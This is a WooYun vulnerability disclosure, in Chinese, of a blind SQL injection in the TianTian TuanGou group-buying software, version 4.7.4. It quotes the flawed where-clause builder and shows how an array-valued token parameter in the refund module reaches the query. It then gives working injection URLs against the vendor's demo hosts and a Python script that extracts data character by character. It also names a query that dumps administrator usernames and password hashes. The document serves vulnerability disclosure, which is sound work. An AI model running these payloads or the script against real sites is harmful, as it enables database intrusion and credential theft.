当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092090

漏洞标题:天天团购最新版本Blind SQL Injection

相关厂商:天天团购

漏洞作者: loopx9

提交时间:2015-01-20 13:07

修复时间:2015-04-20 14:22

公开时间:2015-04-20 14:22

漏洞类型:

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-20: 细节已通知厂商并且等待厂商处理中
2015-01-22: 厂商已经确认,细节仅向厂商公开
2015-01-25: 细节向第三方安全合作伙伴开放
2015-03-18: 细节向核心白帽子及相关领域专家公开
2015-03-28: 细节向普通白帽子公开
2015-04-07: 细节向实习白帽子公开
2015-04-20: 细节向公众公开

简要描述:

V4.7.4 Build 20150105版本.

详细说明:

include\driver\database\mysql_max.php(308):
//pack_where函数负责组装sql查询语句where条件部分

private function pack_where($dbo)
{
if ( ! $dbo->_where ) return '';
$sql_where = ' wHERe ';
$sql_where_add = '';
foreach ( $dbo->_where as $where )
{
if ( is_array($where) )
{
foreach ( $where as $key => $val )
{
$kvs = '';
if ( is_numeric($val) )
{
$kvs = '`'.$key.'`' . '=' . $val;
}
elseif ( is_string($val) )
{
$kvs = '`'.$key.'`' . '="' . $val . '"';
}
elseif ( is_array($val) )
{
$kvs = '`'.$key.'`' . ' ' . $val[0] . ' ' . $val[1];
//如果是数组,$val(值)就直接附在 $key(键名)后面
}
elseif ( is_null($val) )
{
$kvs = '`'.$key.'`' . '=NULL';
}
elseif( is_bool($val) || empty($val) )
{
$kvs = '`'.$key.'`' . '="' . $val . '"';
}
$kvs && $sql_where_add .= $kvs.' aNd ';
}
}
elseif ( is_string($where) )
{

$where && $sql_where_add .= $where.' aNd ';
}
}
if ( ! $sql_where_add ) return '';
return substr($sql_where.$sql_where_add, 0, - 5);
}


如果可以传入数组,并进入where条件,经过pack_where组装成语句后,就能形成sql注射了。
找到一处可以传入数组的地方:
\modules\refund.mod.php:

function Main()
{
$order_id= get('oid','number');
$appcode= get('appcode'); //$_GET['appcode']
$token= get('token'); //$_GET['token']
if($appcode && $token){
$uid = logic('refund')->getuid($appcode, $token); //跟进getuid函数
$tempfile = 'apply_3g';
$from = '3g';
}else{
$uid = MEMBER_ID;
$tempfile = 'apply';
$from = 'web';
}
...


\include\logic\refund.logic.php:

public function getuid($appcode, $token)
{
$session = dbc(DBCMax)->select('api_session')->where(array('appcode' => $appcode, 'token' => $token))->limit(1)->done();//$appcode、$token都进入了where函数,最终将交由pack_where函数解析组装成sql语句,这里appcode和token两个参数都可以由GET方式以数组形式传进
return $session ? $session['user_id'] : 0;
}


没有回显位,只能盲注。
http://tg.tttuangou.net/?mod=refund&appcode=xxoo&token[]=%3d-1%20union%20select%201,1,1,1,1,1 //返回页面:订单信息错误!
http://tg.tttuangou.net/?mod=refund&appcode=xxoo&token[]=%3d-1%20union%20select%201,1,1,0,1,1 //返回页面:请先登录!
通过判断返回页面的内容来进行盲注,这样比时间延时注入要快些。从网上找了个盲注脚本:

#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL):
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
#print URL
req = urllib2.Request(URL, None, user_agent)

try:
request = urllib2.urlopen(req)

except HTTPError, e:
print('[!] The server couldnt fulfill the request.')
print('[!] Error code: ' + str(e.code))
sys.exit(1)

except URLError, e:
print('[!] We failed to reach a server.')
print('[!] Reason: ' + str(e.reason))
sys.exit(1)

return request.read()
#utf8版本站点: utf8.tttuangou.net
#gbk版本站点: tg.tttuangou.net
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if mid == left:
result += chr(mid)
print result
break
payload = '=-1 union select 1,1,1,if(ascii(substring((select user()),%s,1))<%s,1,0),1,1#' % (str(index), mid)
param = {'token[]': payload}
html = request('http://tg.tttuangou.net/?mod=refund&appcode=xxoo&'+urllib.urlencode(param))
verify1 = r'''订单信息错误!'''.decode("utf-8").encode("gbk") #gbk版本
verify2 = r'''订单信息错误!''' #utf8版本
if verify1 in html or verify2 in html:
right = mid
else:
left = mid

if __name__ == '__main__':
for i in range(1,50):
binary_sqli(35, 127, i)


漏洞证明:

tg.tttuangou.net: select user()

1.png


utf8.tttuangou.net: select concat(username,0x3a,password) from cenwor_system_members limit 0,1

2.png

修复方案:

过滤。

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-22 08:57

厂商回复:

多谢 loopx9 的反馈,演示站已经修复;近期会发布新的升级版本

最新状态:

暂无